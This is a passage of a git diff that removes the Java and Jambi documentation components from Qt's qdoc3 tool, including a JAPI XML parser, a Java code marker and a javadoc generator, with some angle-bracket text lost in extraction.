FunctionNode *cppFunc = static_cast(cppNode); - if (const PropertyNode *property = cppFunc->associatedProperty()) { - newDoc = property->doc(); - Text text(newDoc.body()); - - Node *mutableCppNode = const_cast(cppNode); - if (property->getters().contains(mutableCppNode)) { - text = textWithFixedBrief(text, Text("Returns "), Text(".")); - } else if (property->setters().contains(mutableCppNode)) { - Text afterBrief; - if (javaFunc->parameterNames().count() == 1 - && !javaFunc->parameterNames().first().isEmpty()) { - afterBrief << " to " - << Atom(Atom::FormattingLeft, ATOM_FORMATTING_PARAMETER) - << javaFunc->parameterNames().first() - << Atom(Atom::FormattingRight, ATOM_FORMATTING_PARAMETER); - } - afterBrief << "."; - text = textWithFixedBrief(text, Text("Sets "), afterBrief); - } else if (property->resetters().contains(mutableCppNode)) { - text = textWithFixedBrief(text, Text("Resets "), Text(".")); - } - - newDoc.setBody(text); - } else { - QStringList javaParams = javaFunc->parameterNames(); - QStringList cppParams = cppFunc->parameterNames(); - newDoc.renameParameters(cppParams, javaParams); - - if (cppNode->access() == Node::Private) { - Text text; - text << Atom::ParaLeft; - if (cppFunc->reimplementedFrom()) { - text << "This function is reimplemented for internal reasons."; - } else { - text << USED_INTERNALLY; - } - text << Atom::ParaRight; - newDoc.setBody(text); - } - } - } else if (cppNode->type() == Node::Variable) { - Text text(newDoc.body()); - - if (qName == "variablegetter") { - text = textWithFixedBrief(text, Text("Returns "), Text(".")); - } else if (qName == "variablesetter") { - Text afterBrief; - if (javaFunc->parameterNames().count() == 1 - && !javaFunc->parameterNames().first().isEmpty()) { - afterBrief << " to " - << Atom(Atom::FormattingLeft, ATOM_FORMATTING_PARAMETER) - << javaFunc->parameterNames().first() - << Atom(Atom::FormattingRight, ATOM_FORMATTING_PARAMETER); - } - afterBrief << "."; - text = textWithFixedBrief(text, Text("Sets "), afterBrief); - } - - newDoc.setBody(text); - } - } else { // ### enum value names? - - } - - javaNode->setDoc(newDoc, true); -} - -static void setStatus(Node *javaNode, const Node *cppNode) -{ - if (cppNode->status() == Node::Compat) { - javaNode->setStatus(Node::Obsolete); - } else { - javaNode->setStatus(cppNode->status()); - } -} - -static Text findEnumText(Node *javaEnum, const QString &enumItemName) -{ - const Text &body = javaEnum->doc().body(); - const Atom *atom = body.firstAtom(); - while (atom) { - if (atom->type() == Atom::ListTagLeft && atom->string() == ATOM_LIST_VALUE) { - atom = atom->next(); - if (atom) { - // ### paras? - if (atom->string() == enumItemName) - return body.subText(Atom::ListItemLeft, Atom::ListItemRight, atom); - } - } else { - atom = atom->next(); - } - } - return Text(); -} - -JambiApiParser::JambiApiParser(Tree *cppTree) - : cppTre(cppTree), javaTre(0), metJapiTag(false) -{ -} - -JambiApiParser::~JambiApiParser() -{ -} - -void JambiApiParser::initializeParser(const Config &config) -{ - CodeParser::initializeParser(config); -} - -void JambiApiParser::terminateParser() -{ - CodeParser::terminateParser(); -} - -QString JambiApiParser::language() -{ - return "Java"; -} - -QString JambiApiParser::sourceFileNameFilter() -{ - return "*.japi"; -} - -void JambiApiParser::parseSourceFile(const Location &location, const QString &filePath, Tree *tree) -{ - javaTre = tree; - metJapiTag = false; - - QXmlSimpleReader reader; - reader.setContentHandler(this); - reader.setErrorHandler(this); - - QFile file(filePath); - if (!file.open(QFile::ReadOnly)) { - location.warning(tr("Cannot open JAPI file '%1'").arg(filePath)); - return; - } - - japiLocation = Location(filePath); - QXmlInputSource xmlSource(&file); - reader.parse(xmlSource); -} - -void JambiApiParser::doneParsingSourceFiles(Tree * /* tree */) -{ - /* - Also import the overview documents. - */ - foreach (Node *cppNode, cppTre->root()->childNodes()) { - if (cppNode->type() == Node::Fake) { - FakeNode *cppFake = static_cast(cppNode); - if (cppFake->subType() == Node::Page) { - FakeNode *javaFake = new FakeNode(javaTre->root(), - cppFake->name(), - cppFake->subType()); - javaFake->setModuleName("com.trolltech.qt"); // ### hard-coded - javaFake->setTitle(cppFake->title()); - javaFake->setSubTitle(cppFake->subTitle()); - setStatus(javaFake, cppFake); - setPass1JambifiedDoc(javaFake, cppFake); - } - } - } - - /* - Fix the docs. - */ - if (javaTre) { - javaTre->resolveInheritance(); - jambifyDocsPass2(javaTre->root()); - javaTre = 0; - } -} - -bool JambiApiParser::startElement(const QString & /* namespaceURI */, - const QString & /* localName */, - const QString &qName, - const QXmlAttributes &attributes) -{ - if (!metJapiTag && qName != "japi") { - // ### The file is not a JAPI file. - return true; - } - metJapiTag = true; - - EnumNode *javaEnum = 0; - EnumNode *cppEnum = 0; - InnerNode *javaParent = javaTre->root(); - InnerNode *cppParent = cppTre->root(); - - for (int i = 0; i < classAndEnumStack.count(); ++i) { - const ClassOrEnumInfo &info = classAndEnumStack.at(i); - if (info.cppNode) { - if (info.cppNode->type() == Node::Enum) { - Q_ASSERT(info.javaNode->type() == Node::Enum); - javaEnum = static_cast(info.javaNode); - cppEnum = static_cast(info.cppNode); - } else { - Q_ASSERT(info.javaNode->type() == Node::Class - || info.javaNode->type() == Node::Namespace); - javaParent = static_cast(info.javaNode); - cppParent = static_cast(info.cppNode); - } - } - } - - if (qName == "class" || qName == "enum") { - Node::Type type = (qName == "class") ? Node::Class : Node::Enum; - - QString javaExtends = attributes.value("java-extends"); - QString javaImplements = attributes.value("javaimplements"); - - ClassOrEnumInfo info; - info.tag = qName; - info.javaName = attributes.value("java"); - info.cppName = attributes.value("cpp"); - info.cppNode = cppTre->findNode(info.cppName.split("::"), type, cppParent); - if (!info.cppNode && type == Node::Class) { - type = Node::Namespace; - info.cppNode = cppTre->findNode(info.cppName.split("::"), type, cppParent); - } - - if (!info.cppNode) { - japiLocation.warning(tr("Cannot find C++ class or enum '%1'").arg(info.cppName)); - } else { - if (qName == "class") { - ClassNode *javaClass = new ClassNode(javaParent, info.javaName); - javaClass->setModuleName(attributes.value("package")); - if (!javaExtends.isEmpty()) - javaTre->addBaseClass(javaClass, Node::Public, javaExtends.split('.'), - javaExtends); - if (!javaImplements.isEmpty()) - javaTre->addBaseClass(javaClass, Node::Public, javaImplements.split('.'), - javaExtends); - - info.javaNode = javaClass; - } else { - info.javaNode = new EnumNode(javaParent, info.javaName); - } - info.javaNode->setLocation(japiLocation); - setStatus(info.javaNode, info.cppNode); - - setPass1JambifiedDoc(info.javaNode, info.cppNode); - } - classAndEnumStack.push(info); - } else if (qName == "method" || qName == "signal") { - QString javaSignature = attributes.value("java"); - if (javaSignature.startsWith("private")) - return true; - - QString cppSignature = attributes.value("cpp"); - - CppCodeParser cppParser; - const FunctionNode *cppNode = cppParser.findFunctionNode(cppSignature, cppTre, - cppParent, - true /* fuzzy */); - if (!cppNode) { - bool quiet = false; - - /* - Default constructors sometimes don't exist in C++. - */ - if (!quiet && javaSignature == "public " + javaParent->name() + "()") - quiet = true; - - if (!quiet) - japiLocation.warning(tr("Cannot find C++ function '%1' ('%2')") - .arg(cppSignature).arg(cppParent->name())); - } - - FunctionNode *javaNode; - if (makeFunctionNode(javaParent, javaSignature, &javaNode)) { - javaNode->setLocation(japiLocation); - if (qName == "signal") - javaNode->setMetaness(FunctionNode::Signal); - - if (cppNode) { - setStatus(javaNode, cppNode); - - int overloadNo = cppNode->parameters().count() - javaNode->parameters().count() + 1; - if (overloadNo == 1) { - setPass1JambifiedDoc(javaNode, cppNode); - } else { - Text text; - - text << Atom::ParaLeft << "Equivalent to " - << Atom(Atom::Link, javaNode->name() + "()") - << Atom(Atom::FormattingLeft, ATOM_FORMATTING_LINK) - << javaNode->name() - << Atom(Atom::FormattingRight, ATOM_FORMATTING_LINK) - << "("; - - for (int i = 0; i < cppNode->parameters().count(); ++i) { - if (i > 0) - text << ", "; - if (i < javaNode->parameters().count()) { - text << Atom(Atom::FormattingLeft, ATOM_FORMATTING_PARAMETER) - << javaNode->parameters().at(i).name() - << Atom(Atom::FormattingRight, ATOM_FORMATTING_PARAMETER); - } else { - // ### convert to Java - text << cppNode->parameters().at(i).defaultValue(); - } - } - - text << ")."; - - Doc doc; - doc.setBody(text); - javaNode->setDoc(doc, true); - } - javaNode->setOverload(overloadNo > 1); - } - } - } else if (qName == "variablesetter" || qName == "variablegetter") { - QString javaSignature = attributes.value("java"); - if (javaSignature.startsWith("private")) - return true; - - QString cppVariable = attributes.value("cpp"); - - VariableNode *cppNode = static_cast(cppParent->findNode(cppVariable, - Node::Variable)); - FunctionNode *javaNode; - if (makeFunctionNode(javaParent, javaSignature, &javaNode)) { - javaNode->setLocation(japiLocation); - - if (!cppNode) { -#if 0 - japiLocation.warning(tr("Cannot find C++ variable '%1' ('%2')") - .arg(cppVariable).arg(cppParent->name())); -#endif - javaNode->setDoc(Doc(japiLocation, japiLocation, - USED_INTERNALLY, - QSet()), true); - } else { - setPass1JambifiedDoc(javaNode, cppNode, qName); - setStatus(javaNode, cppNode); - } - } - } else if (qName == "enum-value") { - QString javaName = attributes.value("java"); - QString cppName = attributes.value("cpp"); - QString value = attributes.value("value"); - - if (javaEnum) { - EnumItem item(javaName, value, findEnumText(javaEnum, javaName)); - javaEnum->addItem(item); - } - } - - return true; -} - -bool JambiApiParser::endElement(const QString & /* namespaceURI */, - const QString & /* localName */, - const QString &qName) -{ - if (qName == "class" || qName == "enum") - classAndEnumStack.pop(); - return true; -} - -bool JambiApiParser::fatalError(const QXmlParseException &exception) -{ - japiLocation.setLineNo(exception.lineNumber()); - japiLocation.setColumnNo(exception.columnNumber()); - japiLocation.warning(tr("Syntax error in JAPI file (%1)").arg(exception.message())); - return true; -} - -void JambiApiParser::jambifyDocsPass2(Node *node) -{ - const Doc &doc = node->doc(); - if (!doc.isEmpty()) { - if (node->type() == Node::Enum) { - Doc newDoc(doc); - newDoc.simplifyEnumDoc(); - node->setDoc(newDoc, true); - } - } - - if (node->isInnerNode()) { - InnerNode *innerNode = static_cast(node); - foreach (Node *child, innerNode->childNodes()) - jambifyDocsPass2(child); - } -} - -bool JambiApiParser::makeFunctionNode(InnerNode *parent, const QString &synopsis, - FunctionNode **funcPtr) -{ - Node::Access access = Node::Public; - FunctionNode::Metaness metaness = FunctionNode::Plain; - bool final = false; - bool statique = false; - - QString mySynopsis = synopsis.simplified(); - int oldLen; - do { - oldLen = mySynopsis.length(); - - if (mySynopsis.startsWith("public ")) { - mySynopsis.remove(0, 7); - access = Node::Public; - } - if (mySynopsis.startsWith("protected ")) { - mySynopsis.remove(0, 10); - access = Node::Protected; - } - if (mySynopsis.startsWith("private ")) { - mySynopsis.remove(0, 8); - access = Node::Private; - } - if (mySynopsis.startsWith("native ")) { - mySynopsis.remove(0, 7); - metaness = FunctionNode::Native; - } - if (mySynopsis.startsWith("final ")) { - mySynopsis.remove(0, 6); - final = true; - } - if (mySynopsis.startsWith("static ")) { - mySynopsis.remove(0, 7); - statique = true; - } - } while (oldLen != mySynopsis.length()); - - // method or constructor - QRegExp funcRegExp("(?:(.*) )?([A-Za-z_0-9]+)\\((.*)\\)"); - if (!funcRegExp.exactMatch(mySynopsis)) - return false; - - QString retType = funcRegExp.cap(1); - QString funcName = funcRegExp.cap(2); - QStringList params = funcRegExp.cap(3).split(","); - - FunctionNode *func = new FunctionNode(parent, funcName); - func->setReturnType(retType); - func->setAccess(access); - func->setStatic(statique); - func->setConst(final); - func->setMetaness(metaness); - - QRegExp paramRegExp(" ?([^ ].*) ([A-Za-z_0-9]+) ?"); - - foreach (const QString ¶m, params) { - if (paramRegExp.exactMatch(param)) { - func->addParameter(Parameter(paramRegExp.cap(1), "", paramRegExp.cap(2))); - } else { - // problem - } - } - - if (funcPtr) { - *funcPtr = func; - } else if (!parent) { - delete func; - } - return true; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/jambiapiparser.h b/tools/qdoc3/jambiapiparser.h deleted file mode 100644 index ecfaab5..0000000 --- a/tools/qdoc3/jambiapiparser.h +++ /dev/null @@ -1,99 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - jambiapiparser.h -*/ - -#ifndef JAMBIAPIPARSER_H -#define JAMBIAPIPARSER_H - -#include -#include - -#include "codeparser.h" - -QT_BEGIN_NAMESPACE - -struct ClassOrEnumInfo -{ - QString tag; - QString javaName; - QString cppName; - Node *javaNode; - Node *cppNode; - - ClassOrEnumInfo() : javaNode(0), cppNode(0) {} -}; - -class JambiApiParser : public CodeParser, private QXmlDefaultHandler -{ -public: - JambiApiParser(Tree *cppTree); - ~JambiApiParser(); - - void initializeParser(const Config &config); - void terminateParser(); - QString language(); - QString sourceFileNameFilter(); - void parseSourceFile(const Location &location, const QString &filePath, Tree *tree); - virtual void doneParsingSourceFiles(Tree *tree); - -private: - bool startElement(const QString &namespaceURI, const QString &localName, - const QString &qName, const QXmlAttributes &attributes); - bool endElement(const QString &namespaceURI, const QString &localName, - const QString &qName); - bool fatalError(const QXmlParseException &exception); - void jambifyDocsPass2(Node *node); - bool makeFunctionNode(InnerNode *parent, const QString &synopsis, FunctionNode **funcPtr); - - Tree *cppTre; - Tree *javaTre; - - bool metJapiTag; - Location japiLocation; - QStack classAndEnumStack; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/javacodemarker.cpp b/tools/qdoc3/javacodemarker.cpp deleted file mode 100644 index c9a8f60..0000000 --- a/tools/qdoc3/javacodemarker.cpp +++ /dev/null @@ -1,203 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - javacodemarker.cpp -*/ - -#include "javacodemarker.h" -#include "node.h" -#include "text.h" -#include "tree.h" - -QT_BEGIN_NAMESPACE - -JavaCodeMarker::JavaCodeMarker() -{ -} - -JavaCodeMarker::~JavaCodeMarker() -{ -} - -bool JavaCodeMarker::recognizeCode( const QString& /* code */ ) -{ - return true; -} - -bool JavaCodeMarker::recognizeExtension( const QString& ext ) -{ - return ext == "java"; -} - -bool JavaCodeMarker::recognizeLanguage( const QString& lang ) -{ - return lang == "Java"; -} - -QString JavaCodeMarker::plainName( const Node *node ) -{ - return node->name(); -} - -QString JavaCodeMarker::plainFullName( const Node *node, const Node * /* relative */ ) -{ - if (!node) - return QString(); - - QString fullName; - for ( ;; ) { - fullName.prepend( plainName(node) ); - if ( node->parent() && node->parent()->name().isEmpty() ) - break; - node = node->parent(); - if (!node) - break; - fullName.prepend("."); - } - return fullName; -} - -QString JavaCodeMarker::markedUpCode( const QString& code, - const Node * /* relative */, - const QString& /* dirPath */ ) -{ - return protect( code ); -} - -QString JavaCodeMarker::markedUpSynopsis(const Node * /* node */, - const Node * /* relative */, - SynopsisStyle /* style */) -{ - return QString(); -} - -QString JavaCodeMarker::markedUpName( const Node *node ) -{ - return linkTag(node, taggedNode(node)); -} - -QString JavaCodeMarker::markedUpFullName(const Node *node, const Node * /* relative */ ) -{ - QString fullName; - for ( ;; ) { - fullName.prepend( markedUpName(node) ); - if ( node->parent()->name().isEmpty() ) - break; - node = node->parent(); - fullName.prepend( "." ); - } - return fullName; -} - -QString JavaCodeMarker::markedUpEnumValue(const QString &enumValue, - const Node * /* relative */) -{ - return protect(enumValue); -} - -QString JavaCodeMarker::markedUpIncludes( const QStringList& /* includes */ ) -{ - return QString(); -} - -QString JavaCodeMarker::functionBeginRegExp( const QString& /* funcName */) -{ - return "^x$"; // ### invalid regexp -} - -QString JavaCodeMarker::functionEndRegExp( const QString& /* funcName */ ) -{ - return "^}"; -} - -QList
    JavaCodeMarker::sections(const InnerNode * /* inner */, SynopsisStyle /* style */, - Status /* status */) -{ - return QList
    (); -} - -const Node *JavaCodeMarker::resolveTarget(const QString &target, - const Tree *tree, - const Node *relative, - const Node* /* self */) -{ - if (target.endsWith("()")) { - const FunctionNode *func; - QString funcName = target; - funcName.chop(2); - - QStringList path = funcName.split('.'); - if ((func = tree->findFunctionNode(path, relative, Tree::SearchBaseClasses))) - return func; - } else if (target.contains("#")) { - int hashAt = target.indexOf("#"); - QString link = target.left(hashAt); - QString ref = target.mid(hashAt + 1); - const Node *node; - if (link.isEmpty()) { - node = relative; - } else { - QStringList path(link); - node = tree->findNode(path, tree->root(), Tree::SearchBaseClasses); - } - if (node && node->isInnerNode()) { - const Atom *atom = node->doc().body().firstAtom(); - while (atom) { - if (atom->type() == Atom::Target && atom->string() == ref) { - Node *parentNode = const_cast(node); - return new TargetNode(static_cast(parentNode), - ref); - } - atom = atom->next(); - } - } - } else { - QStringList path = target.split('.'); - const Node *node; - if ((node = tree->findNode(path, relative, - Tree::SearchBaseClasses | Tree::SearchEnumValues))) - return node; - } - return 0; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/javacodemarker.h b/tools/qdoc3/javacodemarker.h deleted file mode 100644 index c2aabc0..0000000 --- a/tools/qdoc3/javacodemarker.h +++ /dev/null @@ -1,83 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - javacodemarker.h -*/ - -#ifndef JAVACODEMARKER_H -#define JAVACODEMARKER_H - -#include "codemarker.h" - -QT_BEGIN_NAMESPACE - -class JavaCodeMarker : public CodeMarker -{ -public: - JavaCodeMarker(); - ~JavaCodeMarker(); - - bool recognizeCode( const QString& code ); - bool recognizeExtension( const QString& ext ); - bool recognizeLanguage( const QString& lang ); - QString plainName(const Node *node); - QString plainFullName(const Node *node, const Node *relative); - QString markedUpCode( const QString& code, const Node *relative, - const QString& dirPath ); - QString markedUpSynopsis( const Node *node, const Node *relative, - SynopsisStyle style ); - QString markedUpName( const Node *node ); - QString markedUpFullName( const Node *node, const Node *relative ); - QString markedUpEnumValue(const QString &enumValue, const Node *relative); - QString markedUpIncludes( const QStringList& includes ); - QList
    sections(const InnerNode *innerNode, SynopsisStyle style, Status status); - QString functionBeginRegExp( const QString& funcName ); - QString functionEndRegExp( const QString& funcName ); - const Node* resolveTarget( const QString& target, - const Tree* tree, - const Node* relative, - const Node* self = 0 ); -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/javadocgenerator.cpp b/tools/qdoc3/javadocgenerator.cpp deleted file mode 100644 index eb9c1c9..0000000 --- a/tools/qdoc3/javadocgenerator.cpp +++ /dev/null @@ -1,454 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "javadocgenerator.h" - -QT_BEGIN_NAMESPACE - -enum JavaSignatureSyntax { - GeneratedJdocFile, - JavadocRef, - SlotSignature -}; - -static QString javaSignature(const FunctionNode *func, JavaSignatureSyntax syntax, - int maxParams = 65535) -{ - maxParams = qMin(maxParams, func->parameters().count()); - - QString result; - - if (syntax == GeneratedJdocFile) { - if (func->access() == Node::Public) { - result += "public "; - } else if (func->access() == Node::Protected) { - result += "protected "; - } else { - result += "private "; - } - - if (func->metaness() == FunctionNode::Native) - result += "native "; - - if (func->isConst()) - result += "final "; - - // ### func->metaness() == FunctionNode::Abstract - - if (func->isStatic()) - result += "static "; - - if (!func->returnType().isEmpty()) { - result += func->returnType(); - result += ' '; - } - } - - if (syntax == SlotSignature) { - result += "void mySlot"; - } else { - result += func->name(); - } - result += '('; - for (int i = 0; i < maxParams; ++i) { - if (i != 0) - result += ", "; - result += func->parameters().at(i).leftType(); - if (syntax != JavadocRef) { - result += ' '; - result += func->parameters().at(i).name(); - } - } - result += ')'; - - return result; -} - -static QString packageName(const Node *node) -{ - while (node && node->type() != Node::Class && node->type() != Node::Fake) - node = node->parent(); - if (!node) - return QString(); - return node->moduleName(); -} - -JavadocGenerator::JavadocGenerator() - : oldDevice(0), currentDepth(0) -{ -} - -JavadocGenerator::~JavadocGenerator() -{ -} - -void JavadocGenerator::initializeGenerator(const Config &config) -{ - HtmlGenerator::initializeGenerator(config); - - formattingLeftMap().insert(ATOM_FORMATTING_PARAMETER, - formattingLeftMap().value(ATOM_FORMATTING_TELETYPE)); - formattingRightMap().insert(ATOM_FORMATTING_PARAMETER, - formattingRightMap().value(ATOM_FORMATTING_TELETYPE)); -} - -void JavadocGenerator::terminateGenerator() -{ - HtmlGenerator::terminateGenerator(); -} - -QString JavadocGenerator::format() -{ - return "javadoc"; -} - -void JavadocGenerator::generateTree(const Tree *tree, CodeMarker *marker) -{ - HtmlGenerator::generateTree(tree, marker); -} - -QString JavadocGenerator::fileExtension(const Node *node) const -{ - if (node->type() == Node::Fake) { - return "html"; - } else { - return "jdoc"; - } -} - -QString JavadocGenerator::typeString(const Node *node) -{ - if (node->type() == Node::Function) { - const FunctionNode *func = static_cast(node); - return func->metaness() == FunctionNode::Signal ? "signal" : "method"; - } else { - return HtmlGenerator::typeString(node); - } -} - -QString JavadocGenerator::imageFileName(const Node *relative, const QString& fileBase) -{ - QString result = HtmlGenerator::imageFileName(relative, fileBase); - if (!result.isEmpty()) { - QString package = packageName(relative); - int numSubPackages = package.count('.') - 2; - while (numSubPackages > 0) { - result.prepend("%2E%2E/"); // javadoc 1.5.0_06 chokes on '../' - --numSubPackages; - } - } - return result; -} - -static int textDepth = 0; - -void JavadocGenerator::startText(const Node *relative, CodeMarker *marker) -{ - if (textDepth++ == 0 && relative->type() != Node::Fake) { - Q_ASSERT(!oldDevice); - oldDevice = out().device(); - Q_ASSERT(oldDevice); - out().setString(&buffer); - } - HtmlGenerator::startText(relative, marker); -} - -void JavadocGenerator::endText(const Node *relative, CodeMarker *marker) -{ - HtmlGenerator::endText(relative, marker); - if (--textDepth == 0 && relative->type() != Node::Fake) { - Q_ASSERT(oldDevice); - out().setDevice(oldDevice); - oldDevice = 0; - - /* - Need to escape XML metacharacters in .jdoc files. - */ - buffer.replace("*/", "*<!-- noop -->/"); - buffer.replace("&", "&"); - buffer.replace("\"", """); - buffer.replace("<", "<"); - buffer.replace(">", ">"); - out() << buffer; - buffer.clear(); - } -} - -int JavadocGenerator::generateAtom(const Atom *atom, const Node *relative, CodeMarker *marker) -{ - return HtmlGenerator::generateAtom(atom, relative, marker); -} - -void JavadocGenerator::generateClassLikeNode(const InnerNode *inner, CodeMarker *marker) -{ - generateIndent(); - out() << "name()) << "\""; - generateDoc(inner, marker); - out() << ">\n"; - - ++currentDepth; - foreach (Node *node, inner->childNodes()) { - if (node->isInnerNode()) { - generateClassLikeNode(static_cast(node), marker); - } else { - if (node->type() == Node::Enum) { - EnumNode *enume = static_cast(node); - - generateIndent(); - out() << "name()) << "\""; - generateDoc(node, marker); - out() << ">\n"; - - ++currentDepth; - const QList &items = enume->items(); - for (int i = 0; i < items.count(); ++i) { - const EnumItem &item = items.at(i); - generateIndent(); - out() << "\n"; - } - --currentDepth; - - out() << "\n"; - } else if (node->type() == Node::Function) { - FunctionNode *func = static_cast(node); - generateIndent(); - out() << (func->metaness() == FunctionNode::Signal ? "\n"; - } - } - } - --currentDepth; - - generateIndent(); - out() << "\n"; -} - -void JavadocGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) -{ - HtmlGenerator::generateFakeNode(fake, marker); -} - -bool JavadocGenerator::generateText(const Text& text, const Node *relative, CodeMarker *marker) -{ - HtmlGenerator::generateText(text, relative, marker); - return true; -} - -void JavadocGenerator::generateBody(const Node *node, CodeMarker *marker) -{ - generateText(node->doc().body(), node, marker); -} - -void JavadocGenerator::generateAlsoList( const Node *node, CodeMarker *marker ) -{ - QList alsoList = node->doc().alsoList(); - supplementAlsoList(node, alsoList); - - if (node->type() == Node::Fake - || (node->type() == Node::Function - && static_cast(node)->metaness() == FunctionNode::Signal)) { - Text text; - - if (!alsoList.isEmpty()) { - text << Atom(Atom::ListLeft, ATOM_LIST_TAG) - << Atom(Atom::ListTagLeft, ATOM_LIST_TAG) - << Atom(Atom::FormattingLeft, ATOM_FORMATTING_BOLD) - << "See Also:" - << Atom(Atom::FormattingRight, ATOM_FORMATTING_BOLD) - << Atom(Atom::ListTagRight, ATOM_LIST_TAG) - << Atom(Atom::ListItemLeft, ATOM_LIST_TAG); - - for (int i = 0; i < alsoList.count(); ++i) { - if (i != 0) - text << ", "; - text << alsoList.at(i); - } - text << Atom(Atom::ListItemRight, ATOM_LIST_TAG) - << Atom(Atom::ListRight, ATOM_LIST_TAG); - } - - generateText(text, node, marker); - } else { - foreach (const Text &text, alsoList) { - out() << "\n@see "; - generateText(text, node, marker); - } - } -} - -QString JavadocGenerator::refForNode( const Node *node ) -{ - if (node->type() == Node::Function) - return javaSignature(static_cast(node), JavadocRef); - - return HtmlGenerator::refForNode(node); -} - -QString JavadocGenerator::linkForNode( const Node *node, const Node *relative ) -{ - // ### EVIL, relative should never be null - if (!relative) - relative = node; - - if (packageName(node).isEmpty()) { - // ### jasmin: Fixme - return QString(); - } - - QString result; - if (node->type() == Node::Fake) { - result = node->name(); - } else { - if (!node->isInnerNode()) { - result = linkForNode(node->parent(), relative) + "#" + refForNode(node); - } else { - result = node->name() + ".html"; - } - } - - QStringList nodePackage = packageName(node).split("."); - QStringList relativePackage = packageName(relative).split("."); - if (nodePackage == QStringList(QString()) || relativePackage == QStringList(QString())) { - qWarning("I'm in trouble [%s][%s]", qPrintable(node->name()), qPrintable(relative->name())); - return QString(); - } - - int i = nodePackage.count() - 1; - while (nodePackage.value(i) != relativePackage.value(i)) { - result.prepend(nodePackage.at(i) + "/"); - --i; - } - - ++i; - while (i < relativePackage.count()) { - result.prepend("%2E%2E/"); // javadoc 1.5.0_06 chokes on '../' - ++i; - } - - return result; -} - -QString JavadocGenerator::refForAtom(Atom *atom, const Node *node) -{ - return HtmlGenerator::refForAtom(atom, node); -} - -/* - Neutralize dumb functions called from HtmlGenerator. -*/ -void JavadocGenerator::generateDcf(const QString & /* fileBase */, const QString & /* startPage */, - const QString & /* title */, DcfSection & /* dcfRoot */) -{ -} - -void JavadocGenerator::generateIndex(const QString & /* fileBase */, const QString & /* url */, - const QString & /* title */) -{ -} - -void JavadocGenerator::generateIndent() -{ - for (int i = 0; i < currentDepth; ++i) - out() << " "; -} - -void JavadocGenerator::generateDoc(const Node *node, 